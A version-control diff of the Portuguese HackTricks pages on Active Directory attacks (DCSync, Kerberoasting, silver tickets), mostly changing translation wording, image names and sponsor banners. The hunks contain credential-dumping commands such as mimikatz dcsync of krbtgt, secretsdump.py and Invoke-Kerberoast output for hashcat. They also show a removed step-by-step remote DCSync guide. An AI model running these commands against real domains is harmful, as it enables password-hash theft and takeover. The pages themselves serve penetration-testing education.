* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -40,7 +40,7 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
|
|||
|
||||
To exploit a Windows Active Directory environment locally, an attacker can use the DCSync technique. This technique allows the attacker to impersonate a domain controller and request the replication of password hashes from the targeted domain controller.
|
||||
|
||||
To perform a DCSync attack, the attacker needs to have administrative privileges on a compromised machine within the domain. Once access is gained, the attacker can use the `mimikatz` tool to execute the DCSync command and retrieve the password hashes.
|
||||
To perform a DCSync attack, the attacker needs to have administrative privileges on a compromised machine within the domain. The attacker can then use the `mimikatz` tool to execute the DCSync command and retrieve the password hashes.
|
||||
|
||||
The DCSync command can be executed using the following syntax:
|
||||
|
||||
|
@ -48,11 +48,11 @@ The DCSync command can be executed using the following syntax:
|
|||
mimikatz # lsadump::dcsync /domain:<domain_name> /user:<username>
|
||||
```
|
||||
|
||||
Replace `<domain_name>` with the name of the target domain and `<username>` with the username of the account whose password hash is to be retrieved.
|
||||
Replace `<domain_name>` with the name of the target domain and `<username>` with the username of the account whose password hash you want to retrieve.
|
||||
|
||||
By successfully executing the DCSync command, the attacker can obtain the password hashes of domain user accounts, including those of privileged users such as administrators. These password hashes can then be cracked offline using tools like `hashcat` to obtain the actual passwords.
|
||||
Once the password hashes are obtained, the attacker can use various techniques to crack them and gain access to user accounts within the domain.
|
||||
|
||||
It is important to note that the DCSync technique requires administrative privileges on a compromised machine within the domain. Therefore, it is crucial to implement strong security measures to prevent unauthorized access and privilege escalation within the Active Directory environment.
|
||||
It is important to note that performing a DCSync attack requires administrative privileges on a compromised machine within the domain. Therefore, it is crucial to implement strong security measures to prevent unauthorized access and protect against such attacks.
|
||||
```powershell
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
|
||||
```
|
||||
|
@ -60,25 +60,20 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
|
|||
|
||||
DCSync is a technique that allows an attacker to impersonate a domain controller and request the replication of password data from the targeted domain controller. This technique can be used remotely to extract password hashes from the Active Directory database without the need for administrative privileges.
|
||||
|
||||
To exploit this vulnerability remotely, follow these steps:
|
||||
To exploit this vulnerability, the attacker needs to have network access to the targeted domain controller. By sending a specially crafted request, the attacker can trick the domain controller into replicating the password data, which can then be captured and used for further attacks, such as password cracking or lateral movement within the network.
|
||||
|
||||
1. Identify the target domain controller: Determine the IP address or hostname of the domain controller you want to exploit.
|
||||
It is important to note that DCSync requires the attacker to have sufficient privileges to impersonate a domain controller. This can be achieved by compromising a privileged account or by exploiting vulnerabilities in the domain controller's security configuration.
|
||||
|
||||
2. Enumerate domain users: Use tools like `ldapsearch` or `PowerView` to enumerate the users in the target domain.
|
||||
To protect against DCSync attacks, it is recommended to implement the following measures:
|
||||
|
||||
3. Identify a user with sufficient privileges: Look for a user account with the "Replicating Directory Changes All" or "Replicating Directory Changes" permissions. These permissions allow the user to replicate the Active Directory database.
|
||||
1. Limit the privileges of user accounts to prevent unauthorized access.
|
||||
2. Regularly update and patch the domain controller to address any security vulnerabilities.
|
||||
3. Implement strong password policies and enforce regular password changes.
|
||||
4. Monitor and log all domain controller activities to detect any suspicious behavior.
|
||||
5. Use intrusion detection systems (IDS) and intrusion prevention systems (IPS) to detect and block DCSync attacks.
|
||||
6. Implement multi-factor authentication (MFA) to add an extra layer of security to user accounts.
|
||||
|
||||
4. Extract the user's NTLM hash: Use the DCSync command to request the replication of password data for the identified user. The command syntax is as follows:
|
||||
|
||||
```
|
||||
mimikatz # lsadump::dcsync /domain:<domain_name> /user:<username>
|
||||
```
|
||||
|
||||
Replace `<domain_name>` with the name of the target domain and `<username>` with the username of the user account with sufficient privileges.
|
||||
|
||||
5. Retrieve the NTLM hash: Once the DCSync command is executed successfully, the NTLM hash of the user's password will be displayed in the output.
|
||||
|
||||
By following these steps, you can remotely exploit the DCSync vulnerability to extract password hashes from a target domain controller. These password hashes can then be used for further attacks, such as password cracking or pass-the-hash attacks.
|
||||
By following these recommendations, organizations can significantly reduce the risk of DCSync attacks and protect their Active Directory infrastructure from unauthorized access and data leakage.
|
||||
```powershell
|
||||
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
||||
[-just-dc-user <USERNAME>] #To get only of that user
|
||||
|
@ -129,7 +124,7 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Kerberoast
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -14,7 +14,7 @@ Acesse hoje:
|
|||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -25,7 +25,7 @@ Acesse hoje:
|
|||
O objetivo do **Kerberoasting** é coletar **tickets TGS para serviços que são executados em nome de contas de usuário** no AD, não em contas de computador. Assim, **parte** desses tickets TGS são **criptografados** com **chaves** derivadas das senhas dos usuários. Como consequência, suas credenciais podem ser **quebradas offline**.\
|
||||
Você pode saber que uma **conta de usuário** está sendo usada como um **serviço** porque a propriedade **"ServicePrincipalName"** não é nula.
|
||||
|
||||
Portanto, para realizar o Kerberoasting, apenas uma conta de domínio que possa solicitar TGSs é necessária, o que pode ser qualquer pessoa, pois não são necessários privilégios especiais.
|
||||
Portanto, para realizar o Kerberoasting, apenas uma conta de domínio que possa solicitar TGSs é necessária, o que pode ser qualquer pessoa, já que não são necessários privilégios especiais.
|
||||
|
||||
**Você precisa de credenciais válidas dentro do domínio.**
|
||||
|
||||
|
@ -33,7 +33,7 @@ Portanto, para realizar o Kerberoasting, apenas uma conta de domínio que possa
|
|||
|
||||
{% hint style="warning" %}
|
||||
As ferramentas de **Kerberoasting** normalmente solicitam **`criptografia RC4`** ao realizar o ataque e iniciar solicitações TGS-REQ. Isso ocorre porque o RC4 é [**mais fraco**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) e mais fácil de quebrar offline usando ferramentas como o Hashcat do que outros algoritmos de criptografia, como AES-128 e AES-256.\
|
||||
Hashes RC4 (tipo 23) começam com **`$krb5tgs$23$*`** enquanto os AES-256 (tipo 18) começam com **`$krb5tgs$18$*`**.
|
||||
Hashes RC4 (tipo 23) começam com **`$krb5tgs$23$*`** enquanto os de AES-256 (tipo 18) começam com **`$krb5tgs$18$*`**.
|
||||
{% endhint %}
|
||||
|
||||
#### **Linux**
|
||||
|
@ -72,7 +72,7 @@ Passos:
|
|||
3. Extraia o TGS da memória do sistema usando ferramentas como Mimikatz ou ProcDump.
|
||||
4. Analise o TGS extraído para obter informações sensíveis, como hashes de senha.
|
||||
|
||||
Essa técnica é eficaz porque o TGS contém informações criptografadas que podem ser usadas para realizar ataques de força bruta offline e obter as senhas dos usuários. Portanto, é importante proteger a memória do sistema contra acesso não autorizado e implementar medidas de segurança adicionais, como a autenticação multifator, para mitigar esse tipo de ataque.
|
||||
Essa técnica é eficaz porque o TGS contém informações criptografadas que podem ser usadas para realizar ataques de força bruta offline e obter as senhas reais dos usuários. Portanto, é importante proteger a memória do sistema contra acesso não autorizado e implementar medidas de segurança adequadas para mitigar esse tipo de ataque.
|
||||
```powershell
|
||||
#Get TGS in memory from a single user
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
|
@ -112,7 +112,7 @@ Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASC
|
|||
Quando um TGS é solicitado, o evento do Windows `4769 - Um ticket de serviço Kerberos foi solicitado` é gerado.
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -170,7 +170,7 @@ Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,11 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -61,7 +61,7 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
|
|||
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -76,7 +76,7 @@ Acesse hoje mesmo:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -53,7 +53,7 @@ O serviço **CIFS** é aquele que permite **acessar o sistema de arquivos da ví
|
|||
|
||||
### Mitigação
|
||||
|
||||
Eventos de ticket de prata ID (mais furtivos que ticket de ouro):
|
||||
Eventos ID de silver ticket (mais furtivos que golden ticket):
|
||||
|
||||
* 4624: Logon da conta
|
||||
* 4634: Logoff da conta
|
||||
|
@ -78,7 +78,7 @@ Usando o **Rubeus**, você pode **solicitar todos** esses tickets usando o parâ
|
|||
|
||||
* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||
|
||||
## Abusando de tickets de serviço
|
||||
## Abusando dos tickets de serviço
|
||||
|
||||
Nos exemplos a seguir, vamos imaginar que o ticket seja obtido se passando pela conta de administrador.
|
||||
|
||||
|
@ -156,7 +156,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -166,7 +166,7 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|